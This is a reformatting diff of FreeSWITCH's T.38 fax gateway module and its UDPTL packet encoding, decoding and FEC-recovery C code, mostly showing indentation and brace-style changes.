if (status != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
|
||||
return;
|
||||
}
|
||||
if (status != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
|
||||
return;
|
||||
}
|
||||
|
||||
switch_channel_set_private(channel, "_t38gateway_", bug);
|
||||
switch_channel_set_private(channel, "_t38gateway_", bug);
|
||||
}
|
||||
|
||||
/*! \brief Called when the module shuts down
|
||||
@@ -214,9 +216,9 @@ SWITCH_STANDARD_APP(t38gateway_start_function)
|
||||
*/
|
||||
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_t38gateway_shutdown)
|
||||
{
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway disabled\n");
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway disabled\n");
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
/*! \brief FreeSWITCH API handler function.
|
||||
@@ -228,110 +230,110 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_t38gateway_shutdown)
|
||||
*/
|
||||
SWITCH_STANDARD_API(t38gateway_api_main)
|
||||
{
|
||||
switch_core_session_t *t38gateway_session;
|
||||
switch_media_bug_t *bug;
|
||||
t38gateway_session_info_t *t38gateway_info;
|
||||
switch_channel_t *channel;
|
||||
switch_status_t status;
|
||||
int argc;
|
||||
char *argv[T38GATEWAY_PARAMS];
|
||||
char *ccmd;
|
||||
char *uuid;
|
||||
char *command;
|
||||
switch_core_session_t *t38gateway_session;
|
||||
switch_media_bug_t *bug;
|
||||
t38gateway_session_info_t *t38gateway_info;
|
||||
switch_channel_t *channel;
|
||||
switch_status_t status;
|
||||
int argc;
|
||||
char *argv[T38GATEWAY_PARAMS];
|
||||
char *ccmd;
|
||||
char *uuid;
|
||||
char *command;
|
||||
|
||||
/* No command? Display usage */
|
||||
if (cmd == NULL) {
|
||||
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
/* No command? Display usage */
|
||||
if (cmd == NULL) {
|
||||
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
/* Duplicated contents of original string */
|
||||
ccmd = strdup(cmd);
|
||||
/* Separate the arguments */
|
||||
argc = switch_separate_string(ccmd, ' ', argv, T38GATEWAY_PARAMS);
|
||||
/* Duplicated contents of original string */
|
||||
ccmd = strdup(cmd);
|
||||
/* Separate the arguments */
|
||||
argc = switch_separate_string(ccmd, ' ', argv, T38GATEWAY_PARAMS);
|
||||
|
||||
/* If we don't have the expected number of parameters
|
||||
* display usage */
|
||||
if (argc != T38GATEWAY_PARAMS) {
|
||||
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
|
||||
switch_safe_free(ccmd);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
/* If we don't have the expected number of parameters
|
||||
* display usage */
|
||||
if (argc != T38GATEWAY_PARAMS) {
|
||||
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
|
||||
switch_safe_free(ccmd);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
uuid = argv[0];
|
||||
command = argv[1];
|
||||
uuid = argv[0];
|
||||
command = argv[1];
|
||||
|
||||
/* using uuid locate a reference to the FreeSWITCH session */
|
||||
t38gateway_session = switch_core_session_locate(uuid);
|
||||
/* using uuid locate a reference to the FreeSWITCH session */
|
||||
t38gateway_session = switch_core_session_locate(uuid);
|
||||
|
||||
/* If the session was not found exit */
|
||||
if (t38gateway_session == NULL) {
|
||||
switch_safe_free(ccmd);
|
||||
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
/* If the session was not found exit */
|
||||
if (t38gateway_session == NULL) {
|
||||
switch_safe_free(ccmd);
|
||||
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
/* Get current channel of the session to tag the session
|
||||
* This indicates that our module is present */
|
||||
channel = switch_core_session_get_channel(t38gateway_session);
|
||||
/* Get current channel of the session to tag the session
|
||||
* This indicates that our module is present */
|
||||
channel = switch_core_session_get_channel(t38gateway_session);
|
||||
|
||||
/* Is this channel already set? */
|
||||
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
|
||||
/* If yes */
|
||||
if (bug != NULL) {
|
||||
/* If we have a stop remove audio bug */
|
||||
if (strcasecmp(command, "stop") == 0) {
|
||||
switch_channel_set_private(channel, "_t38gateway_", NULL);
|
||||
switch_core_media_bug_remove(t38gateway_session, &bug);
|
||||
switch_safe_free(ccmd);
|
||||
stream->write_function(stream, "+OK\n");
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
/* Is this channel already set? */
|
||||
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
|
||||
/* If yes */
|
||||
if (bug != NULL) {
|
||||
/* If we have a stop remove audio bug */
|
||||
if (strcasecmp(command, "stop") == 0) {
|
||||
switch_channel_set_private(channel, "_t38gateway_", NULL);
|
||||
switch_core_media_bug_remove(t38gateway_session, &bug);
|
||||
switch_safe_free(ccmd);
|
||||
stream->write_function(stream, "+OK\n");
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
/* We have already started */
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
|
||||
/* We have already started */
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
|
||||
|
||||
switch_safe_free(ccmd);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
switch_safe_free(ccmd);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
/* If we don't see the expected start exit */
|
||||
if (strcasecmp(command, "start") != 0) {
|
||||
switch_safe_free(ccmd);
|
||||
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
/* If we don't see the expected start exit */
|
||||
if (strcasecmp(command, "start") != 0) {
|
||||
switch_safe_free(ccmd);
|
||||
stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
/* Allocate memory attached to this FreeSWITCH session for
|
||||
* use in the callback routine and to store state information */
|
||||
t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(t38gateway_session, sizeof(t38gateway_session_info_t));
|
||||
/* Allocate memory attached to this FreeSWITCH session for
|
||||
* use in the callback routine and to store state information */
|
||||
t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(t38gateway_session, sizeof(t38gateway_session_info_t));
|
||||
|
||||
/* Set initial values and states */
|
||||
t38gateway_info->session = t38gateway_session;
|
||||
t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
|
||||
t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
|
||||
t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
|
||||
/* Set initial values and states */
|
||||
t38gateway_info->session = t38gateway_session;
|
||||
t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
|
||||
t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
|
||||
t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
|
||||
|
||||
/* Add a media bug that allows me to intercept the
|
||||
* reading leg of the audio stream */
|
||||
status = switch_core_media_bug_add(t38gateway_session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
|
||||
/* Add a media bug that allows me to intercept the
|
||||
* reading leg of the audio stream */
|
||||
status = switch_core_media_bug_add(t38gateway_session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
|
||||
|
||||
/* If adding a media bug fails exit */
|
||||
if (status != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failure hooking to stream\n");
|
||||
/* If adding a media bug fails exit */
|
||||
if (status != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failure hooking to stream\n");
|
||||
|
||||
switch_safe_free(ccmd);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
switch_safe_free(ccmd);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
/* Set the t38gateway tag to detect an existing t38gateway media bug */
|
||||
switch_channel_set_private(channel, "_t38gateway_", bug);
|
||||
/* Set the t38gateway tag to detect an existing t38gateway media bug */
|
||||
switch_channel_set_private(channel, "_t38gateway_", bug);
|
||||
|
||||
/* Everything went according to plan! Notify the user */
|
||||
stream->write_function(stream, "+OK\n");
|
||||
/* Everything went according to plan! Notify the user */
|
||||
stream->write_function(stream, "+OK\n");
|
||||
|
||||
switch_safe_free(ccmd);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
switch_safe_free(ccmd);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -36,561 +36,528 @@
|
||||
|
||||
static int decode_length(const uint8_t *buf, int limit, int *len, int *pvalue)
|
||||
{
|
||||
if (*len >= limit)
|
||||
return -1;
|
||||
if ((buf[*len] & 0x80) == 0)
|
||||
{
|
||||
*pvalue = buf[(*len)++];
|
||||
return 0;
|
||||
}
|
||||
if ((buf[*len] & 0x40) == 0)
|
||||
{
|
||||
if (*len >= limit - 1)
|
||||
return -1;
|
||||
*pvalue = (buf[(*len)++] & 0x3F) << 8;
|
||||
*pvalue |= buf[(*len)++];
|
||||
return 0;
|
||||
}
|
||||
*pvalue = (buf[(*len)++] & 0x3F) << 14;
|
||||
/* Indicate we have a fragment */
|
||||
return 1;
|
||||
if (*len >= limit)
|
||||
return -1;
|
||||
if ((buf[*len] & 0x80) == 0) {
|
||||
*pvalue = buf[(*len)++];
|
||||
return 0;
|
||||
}
|
||||
if ((buf[*len] & 0x40) == 0) {
|
||||
if (*len >= limit - 1)
|
||||
return -1;
|
||||
*pvalue = (buf[(*len)++] & 0x3F) << 8;
|
||||
*pvalue |= buf[(*len)++];
|
||||
return 0;
|
||||
}
|
||||
*pvalue = (buf[(*len)++] & 0x3F) << 14;
|
||||
/* Indicate we have a fragment */
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
|
||||
static int decode_open_type(const uint8_t *buf, int limit, int *len, const uint8_t **p_object, int *p_num_octets)
|
||||
static int decode_open_type(const uint8_t *buf, int limit, int *len, const uint8_t ** p_object, int *p_num_octets)
|
||||
{
|
||||
int octet_cnt;
|
||||
int octet_idx;
|
||||
int stat;
|
||||
int i;
|
||||
const uint8_t **pbuf;
|
||||
int octet_cnt;
|
||||
int octet_idx;
|
||||
int stat;
|
||||
int i;
|
||||
const uint8_t **pbuf;
|
||||
|
||||
for (octet_idx = 0, *p_num_octets = 0; ; octet_idx += octet_cnt)
|
||||
{
|
||||
if ((stat = decode_length(buf, limit, len, &octet_cnt)) < 0)
|
||||
return -1;
|
||||
if (octet_cnt > 0)
|
||||
{
|
||||
*p_num_octets += octet_cnt;
|
||||
for (octet_idx = 0, *p_num_octets = 0;; octet_idx += octet_cnt) {
|
||||
if ((stat = decode_length(buf, limit, len, &octet_cnt)) < 0)
|
||||
return -1;
|
||||
if (octet_cnt > 0) {
|
||||
*p_num_octets += octet_cnt;
|
||||
|
||||
pbuf = &p_object[octet_idx];
|
||||
i = 0;
|
||||
/* Make sure the buffer contains at least the number of bits requested */
|
||||
if ((*len + octet_cnt) > limit)
|
||||
return -1;
|
||||
pbuf = &p_object[octet_idx];
|
||||
i = 0;
|
||||
/* Make sure the buffer contains at least the number of bits requested */
|
||||
if ((*len + octet_cnt) > limit)
|
||||
return -1;
|
||||
|
||||
*pbuf = &buf[*len];
|
||||
*len += octet_cnt;
|
||||
}
|
||||
if (stat == 0)
|
||||
break;
|
||||
}
|
||||
return 0;
|
||||
*pbuf = &buf[*len];
|
||||
*len += octet_cnt;
|
||||
}
|
||||
if (stat == 0)
|
||||
break;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
|
||||
static int encode_length(uint8_t *buf, int *len, int value)
|
||||
{
|
||||
int multiplier;
|
||||
int multiplier;
|
||||
|
||||
if (value < 0x80)
|
||||
{
|
||||
/* 1 octet */
|
||||
buf[(*len)++] = value;
|
||||
return value;
|
||||
}
|
||||
if (value < 0x4000)
|
||||
{
|
||||
/* 2 octets */
|
||||
/* Set the first bit of the first octet */
|
||||
buf[(*len)++] = ((0x8000 | value) >> 8) & 0xFF;
|
||||
buf[(*len)++] = value & 0xFF;
|
||||
return value;
|
||||
}
|
||||
/* Fragmentation */
|
||||
multiplier = (value < 0x10000) ? (value >> 14) : 4;
|
||||
/* Set the first 2 bits of the octet */
|
||||
buf[(*len)++] = 0xC0 | multiplier;
|
||||
return multiplier << 14;
|
||||
if (value < 0x80) {
|
||||
/* 1 octet */
|
||||
buf[(*len)++] = value;
|
||||
return value;
|
||||
}
|
||||
if (value < 0x4000) {
|
||||
/* 2 octets */
|
||||
/* Set the first bit of the first octet */
|
||||
buf[(*len)++] = ((0x8000 | value) >> 8) & 0xFF;
|
||||
buf[(*len)++] = value & 0xFF;
|
||||
return value;
|
||||
}
|
||||
/* Fragmentation */
|
||||
multiplier = (value < 0x10000) ? (value >> 14) : 4;
|
||||
/* Set the first 2 bits of the octet */
|
||||
buf[(*len)++] = 0xC0 | multiplier;
|
||||
return multiplier << 14;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
|
||||
static int encode_open_type(uint8_t *buf, int *len, const uint8_t *data, int num_octets)
|
||||
{
|
||||
int enclen;
|
||||
int octet_idx;
|
||||
uint8_t zero_byte;
|
||||
int enclen;
|
||||
int octet_idx;
|
||||
uint8_t zero_byte;
|
||||
|
||||
/* If open type is of zero length, add a single zero byte (10.1) */
|
||||
if (num_octets == 0)
|
||||
{
|
||||
zero_byte = 0;
|
||||
data = &zero_byte;
|
||||
num_octets = 1;
|
||||
}
|
||||
/* Encode the open type */
|
||||
for (octet_idx = 0; ; num_octets -= enclen, octet_idx += enclen)
|
||||
{
|
||||
if ((enclen = encode_length(buf, len, num_octets)) < 0)
|
||||
return -1;
|
||||
if (enclen > 0)
|
||||
{
|
||||
memcpy(&buf[*len], &data[octet_idx], enclen);
|
||||
*len += enclen;
|
||||
}
|
||||
if (enclen >= num_octets)
|
||||
break;
|
||||
}
|
||||
/* If open type is of zero length, add a single zero byte (10.1) */
|
||||
if (num_octets == 0) {
|
||||
zero_byte = 0;
|
||||
data = &zero_byte;
|
||||
num_octets = 1;
|
||||
}
|
||||
/* Encode the open type */
|
||||
for (octet_idx = 0;; num_octets -= enclen, octet_idx += enclen) {
|
||||
if ((enclen = encode_length(buf, len, num_octets)) < 0)
|
||||
return -1;
|
||||
if (enclen > 0) {
|
||||
memcpy(&buf[*len], &data[octet_idx], enclen);
|
||||
*len += enclen;
|
||||
}
|
||||
if (enclen >= num_octets)
|
||||
break;
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
|
||||
int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len)
|
||||
{
|
||||
int stat;
|
||||
int stat2;
|
||||
int i;
|
||||
int j;
|
||||
int k;
|
||||
int l;
|
||||
int m;
|
||||
int x;
|
||||
int limit;
|
||||
int which;
|
||||
int ptr;
|
||||
int count;
|
||||
int total_count;
|
||||
int seq_no;
|
||||
const uint8_t *msg;
|
||||
const uint8_t *data;
|
||||
int msg_len;
|
||||
int repaired[16];
|
||||
const uint8_t *bufs[16];
|
||||
int lengths[16];
|
||||
int span;
|
||||
int entries;
|
||||
int stat;
|
||||
int stat2;
|
||||
int i;
|
||||
int j;
|
||||
int k;
|
||||
int l;
|
||||
int m;
|
||||
int x;
|
||||
int limit;
|
||||
int which;
|
||||
int ptr;
|
||||
int count;
|
||||
int total_count;
|
||||
int seq_no;
|
||||
const uint8_t *msg;
|
||||
const uint8_t *data;
|
||||
int msg_len;
|
||||
int repaired[16];
|
||||
const uint8_t *bufs[16];
|
||||
int lengths[16];
|
||||
int span;
|
||||
int entries;
|
||||
|
||||
ptr = 0;
|
||||
/* Decode seq_number */
|
||||
if (ptr + 2 > len)
|
||||
return -1;
|
||||
seq_no = (buf[0] << 8) | buf[1];
|
||||
ptr += 2;
|
||||
/* Break out the primary packet */
|
||||
if ((stat = decode_open_type(buf, len, &ptr, &msg, &msg_len)) != 0)
|
||||
return -1;
|
||||
/* Decode error_recovery */
|
||||
if (ptr + 1 > len)
|
||||
return -1;
|
||||
/* Our buffers cannot tolerate overlength packets */
|
||||
if (msg_len > LOCAL_FAX_MAX_DATAGRAM)
|
||||
return -1;
|
||||
/* Update any missed slots in the buffer */
|
||||
for (i = s->rx_seq_no; seq_no > i; i++)
|
||||
{
|
||||
x = i & UDPTL_BUF_MASK;
|
||||
s->rx[x].buf_len = -1;
|
||||
s->rx[x].fec_len[0] = 0;
|
||||
s->rx[x].fec_span = 0;
|
||||
s->rx[x].fec_entries = 0;
|
||||
}
|
||||
/* Save the new packet. Pure redundancy mode won't use this, but some systems will switch
|
||||
into FEC mode after sending some redundant packets. */
|
||||
x = seq_no & UDPTL_BUF_MASK;
|
||||
memcpy(s->rx[x].buf, msg, msg_len);
|
||||
s->rx[x].buf_len = msg_len;
|
||||
s->rx[x].fec_len[0] = 0;
|
||||
s->rx[x].fec_span = 0;
|
||||
s->rx[x].fec_entries = 0;
|
||||
if ((buf[ptr++] & 0x80) == 0)
|
||||
{
|
||||
/* Secondary packet mode for error recovery */
|
||||
/* We might have the packet we want, but we need to check through
|
||||
the redundant stuff, and verify the integrity of the UDPTL.
|
||||
This greatly reduces our chances of accepting garbage. */
|
||||
total_count = 0;
|
||||
do
|
||||
{
|
||||
if ((stat2 = decode_length(buf, len, &ptr, &count)) < 0)
|
||||
return -1;
|
||||
for (i = 0; i < count; i++)
|
||||
{
|
||||
if ((stat = decode_open_type(buf, len, &ptr, &bufs[total_count + i], &lengths[total_count + i])) != 0)
|
||||
return -1;
|
||||
}
|
||||
total_count += count;
|
||||
}
|
||||
while (stat2 > 0);
|
||||
/* We should now be exactly at the end of the packet. If not, this is a fault. */
|
||||
if (ptr != len)
|
||||
return -1;
|
||||
if (seq_no > s->rx_seq_no)
|
||||
{
|
||||
/* We received a later packet than we expected, so we need to check if we can fill in the gap from the
|
||||
secondary packets. */
|
||||
/* Step through in reverse order, so we go oldest to newest */
|
||||
for (i = total_count; i > 0; i--)
|
||||
{
|
||||
if (seq_no - i >= s->rx_seq_no)
|
||||
{
|
||||
/* This one wasn't seen before */
|
||||
/* Decode the secondary packet */
|
||||
ptr = 0;
|
||||
/* Decode seq_number */
|
||||
if (ptr + 2 > len)
|
||||
return -1;
|
||||
seq_no = (buf[0] << 8) | buf[1];
|
||||
ptr += 2;
|
||||
/* Break out the primary packet */
|
||||
if ((stat = decode_open_type(buf, len, &ptr, &msg, &msg_len)) != 0)
|
||||
return -1;
|
||||
/* Decode error_recovery */
|
||||
if (ptr + 1 > len)
|
||||
return -1;
|
||||
/* Our buffers cannot tolerate overlength packets */
|
||||
if (msg_len > LOCAL_FAX_MAX_DATAGRAM)
|
||||
return -1;
|
||||
/* Update any missed slots in the buffer */
|
||||
for (i = s->rx_seq_no; seq_no > i; i++) {
|
||||
x = i & UDPTL_BUF_MASK;
|
||||
s->rx[x].buf_len = -1;
|
||||
s->rx[x].fec_len[0] = 0;
|
||||
s->rx[x].fec_span = 0;
|
||||
s->rx[x].fec_entries = 0;
|
||||
}
|
||||
/* Save the new packet. Pure redundancy mode won't use this, but some systems will switch
|
||||
into FEC mode after sending some redundant packets. */
|
||||
x = seq_no & UDPTL_BUF_MASK;
|
||||
memcpy(s->rx[x].buf, msg, msg_len);
|
||||
s->rx[x].buf_len = msg_len;
|
||||
s->rx[x].fec_len[0] = 0;
|
||||
s->rx[x].fec_span = 0;
|
||||
s->rx[x].fec_entries = 0;
|
||||
if ((buf[ptr++] & 0x80) == 0) {
|
||||
/* Secondary packet mode for error recovery */
|
||||
/* We might have the packet we want, but we need to check through
|
||||
the redundant stuff, and verify the integrity of the UDPTL.
|
||||
This greatly reduces our chances of accepting garbage. */
|
||||
total_count = 0;
|
||||
do {
|
||||
if ((stat2 = decode_length(buf, len, &ptr, &count)) < 0)
|
||||
return -1;
|
||||
for (i = 0; i < count; i++) {
|
||||
if ((stat = decode_open_type(buf, len, &ptr, &bufs[total_count + i], &lengths[total_count + i])) != 0)
|
||||
return -1;
|
||||
}
|
||||
total_count += count;
|
||||
}
|
||||
while (stat2 > 0);
|
||||
/* We should now be exactly at the end of the packet. If not, this is a fault. */
|
||||
if (ptr != len)
|
||||
return -1;
|
||||
if (seq_no > s->rx_seq_no) {
|
||||
/* We received a later packet than we expected, so we need to check if we can fill in the gap from the
|
||||
secondary packets. */
|
||||
/* Step through in reverse order, so we go oldest to newest */
|
||||
for (i = total_count; i > 0; i--) {
|
||||
if (seq_no - i >= s->rx_seq_no) {
|
||||
/* This one wasn't seen before */
|
||||
/* Decode the secondary packet */
|
||||
#if defined(UDPTL_DEBUG)
|
||||
fprintf(stderr, "Secondary %d, len %d\n", seq_no - i, lengths[i - 1]);
|
||||
fprintf(stderr, "Secondary %d, len %d\n", seq_no - i, lengths[i - 1]);
|
||||
#endif
|
||||
/* Save the new packet. Redundancy mode won't use this, but some systems will switch into
|
||||
FEC mode after sending some redundant packets, and this may then be important. */
|
||||
x = (seq_no - i) & UDPTL_BUF_MASK;
|
||||
memcpy(s->rx[x].buf, bufs[i - 1], lengths[i - 1]);
|
||||
s->rx[x].buf_len = lengths[i - 1];
|
||||
s->rx[x].fec_len[0] = 0;
|
||||
s->rx[x].fec_span = 0;
|
||||
s->rx[x].fec_entries = 0;
|
||||
if (s->rx_packet_handler(s->user_data, bufs[i - 1], lengths[i - 1], seq_no - i) < 0)
|
||||
fprintf(stderr, "Bad IFP\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
/* FEC mode for error recovery */
|
||||
/* Save the new packet. Redundancy mode won't use this, but some systems will switch into
|
||||
FEC mode after sending some redundant packets, and this may then be important. */
|
||||
x = (seq_no - i) & UDPTL_BUF_MASK;
|
||||
memcpy(s->rx[x].buf, bufs[i - 1], lengths[i - 1]);
|
||||
s->rx[x].buf_len = lengths[i - 1];
|
||||
s->rx[x].fec_len[0] = 0;
|
||||
s->rx[x].fec_span = 0;
|
||||
s->rx[x].fec_entries = 0;
|
||||
if (s->rx_packet_handler(s->user_data, bufs[i - 1], lengths[i - 1], seq_no - i) < 0)
|
||||
fprintf(stderr, "Bad IFP\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
/* FEC mode for error recovery */
|
||||
|
||||
/* Decode the FEC packets */
|
||||
/* The span is defined as an unconstrained integer, but will never be more
|
||||
than a small value. */
|
||||
if (ptr + 2 > len)
|
||||
return -1;
|
||||
if (buf[ptr++] != 1)
|
||||
return -1;
|
||||
span = buf[ptr++];
|
||||
/* Decode the FEC packets */
|
||||
/* The span is defined as an unconstrained integer, but will never be more
|
||||
than a small value. */
|
||||
if (ptr + 2 > len)
|
||||
return -1;
|
||||
if (buf[ptr++] != 1)
|
||||
return -1;
|
||||
span = buf[ptr++];
|
||||
|
||||
x = seq_no & UDPTL_BUF_MASK;
|
||||
x = seq_no & UDPTL_BUF_MASK;
|
||||
|
||||
s->rx[x].fec_span = span;
|
||||
s->rx[x].fec_span = span;
|
||||
|
||||
memset(repaired, 0, sizeof(repaired));
|
||||
repaired[x] = TRUE;
|
||||
memset(repaired, 0, sizeof(repaired));
|
||||
repaired[x] = TRUE;
|
||||
|
||||
/* The number of entries is defined as a length, but will only ever be a small
|
||||
value. Treat it as such. */
|
||||
if (ptr + 1 > len)
|
||||
return -1;
|
||||
entries = buf[ptr++];
|
||||
s->rx[x].fec_entries = entries;
|
||||
/* The number of entries is defined as a length, but will only ever be a small
|
||||
value. Treat it as such. */
|
||||
if (ptr + 1 > len)
|
||||
return -1;
|
||||
entries = buf[ptr++];
|
||||
s->rx[x].fec_entries = entries;
|
||||
|
||||
/* Decode the elements */
|
||||
for (i = 0; i < entries; i++)
|
||||
{
|
||||
if ((stat = decode_open_type(buf, len, &ptr, &data, &s->rx[x].fec_len[i])) != 0)
|
||||
return -1;
|
||||
if (s->rx[x].fec_len[i] > LOCAL_FAX_MAX_DATAGRAM)
|
||||
return -1;
|
||||
/* Decode the elements */
|
||||
for (i = 0; i < entries; i++) {
|
||||
if ((stat = decode_open_type(buf, len, &ptr, &data, &s->rx[x].fec_len[i])) != 0)
|
||||
return -1;
|
||||
if (s->rx[x].fec_len[i] > LOCAL_FAX_MAX_DATAGRAM)
|
||||
return -1;
|
||||
|
||||
/* Save the new FEC data */
|
||||
memcpy(s->rx[x].fec[i], data, s->rx[x].fec_len[i]);
|
||||
/* Save the new FEC data */
|
||||
memcpy(s->rx[x].fec[i], data, s->rx[x].fec_len[i]);
|
||||
#if 0
|
||||
fprintf(stderr, "FEC: ");
|
||||
for (j = 0; j < s->rx[x].fec_len[i]; j++)
|
||||
fprintf(stderr, "%02X ", data[j]);
|
||||
fprintf(stderr, "\n");
|
||||
fprintf(stderr, "FEC: ");
|
||||
for (j = 0; j < s->rx[x].fec_len[i]; j++)
|
||||
fprintf(stderr, "%02X ", data[j]);
|
||||
fprintf(stderr, "\n");
|
||||
#endif
|
||||
}
|
||||
/* We should now be exactly at the end of the packet. If not, this is a fault. */
|
||||
if (ptr != len)
|
||||
return -1;
|
||||
/* See if we can reconstruct anything which is missing */
|
||||
/* TODO: this does not comprehensively hunt back and repair everything that is possible */
|
||||
for (l = x; l != ((x - (16 - span*entries)) & UDPTL_BUF_MASK); l = (l - 1) & UDPTL_BUF_MASK)
|
||||
{
|
||||
if (s->rx[l].fec_len[0] <= 0)
|
||||
continue;
|
||||
for (m = 0; m < s->rx[l].fec_entries; m++)
|
||||
{
|
||||
limit = (l + m) & UDPTL_BUF_MASK;
|
||||
for (which = -1, k = (limit - s->rx[l].fec_span*s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit; k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK)
|
||||
{
|
||||
if (s->rx[k].buf_len <= 0)
|
||||
which = (which == -1) ? k : -2;
|
||||
}
|
||||
if (which >= 0)
|
||||
{
|
||||
/* Repairable */
|
||||
for (j = 0; j < s->rx[l].fec_len[m]; j++)
|
||||
{
|
||||
s->rx[which].buf[j] = s->rx[l].fec[m][j];
|
||||
for (k = (limit - s->rx[l].fec_span*s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit; k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK)
|
||||
s->rx[which].buf[j] ^= (s->rx[k].buf_len > j) ? s->rx[k].buf[j] : 0;
|
||||
}
|
||||
s->rx[which].buf_len = s->rx[l].fec_len[m];
|
||||
repaired[which] = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
/* Now play any new packets forwards in time */
|
||||
for (l = (x + 1) & UDPTL_BUF_MASK, j = seq_no - UDPTL_BUF_MASK; l != x; l = (l + 1) & UDPTL_BUF_MASK, j++)
|
||||
{
|
||||
if (repaired[l])
|
||||
{
|
||||
}
|
||||
/* We should now be exactly at the end of the packet. If not, this is a fault. */
|
||||
if (ptr != len)
|
||||
return -1;
|
||||
/* See if we can reconstruct anything which is missing */
|
||||
/* TODO: this does not comprehensively hunt back and repair everything that is possible */
|
||||
for (l = x; l != ((x - (16 - span * entries)) & UDPTL_BUF_MASK); l = (l - 1) & UDPTL_BUF_MASK) {
|
||||
if (s->rx[l].fec_len[0] <= 0)
|
||||
continue;
|
||||
for (m = 0; m < s->rx[l].fec_entries; m++) {
|
||||
limit = (l + m) & UDPTL_BUF_MASK;
|
||||
for (which = -1, k = (limit - s->rx[l].fec_span * s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit;
|
||||
k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK) {
|
||||
if (s->rx[k].buf_len <= 0)
|
||||
which = (which == -1) ? k : -2;
|
||||
}
|
||||
if (which >= 0) {
|
||||
/* Repairable */
|
||||
for (j = 0; j < s->rx[l].fec_len[m]; j++) {
|
||||
s->rx[which].buf[j] = s->rx[l].fec[m][j];
|
||||
for (k = (limit - s->rx[l].fec_span * s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit;
|
||||
k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK)
|
||||
